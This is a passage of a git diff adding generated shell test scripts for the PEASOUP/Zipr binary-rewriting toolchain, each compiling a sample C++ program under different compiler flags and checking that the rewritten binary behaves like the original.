+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0315992a494b46e48c84d9283a0aea94de25d0c3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..860aa7edcd32d0938d22d4eb8e7b271265d1121b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6f9a236219f1b8edad78a6a229363447a0ee6fe5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..66a0d18f00bdff163f13b4539c4806d048786013
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..62e9b1ab7abdd91f7698dc9e76160134bc861075
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..654e620a045527872cdcfc9f62e7eeb9d4c0d25f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
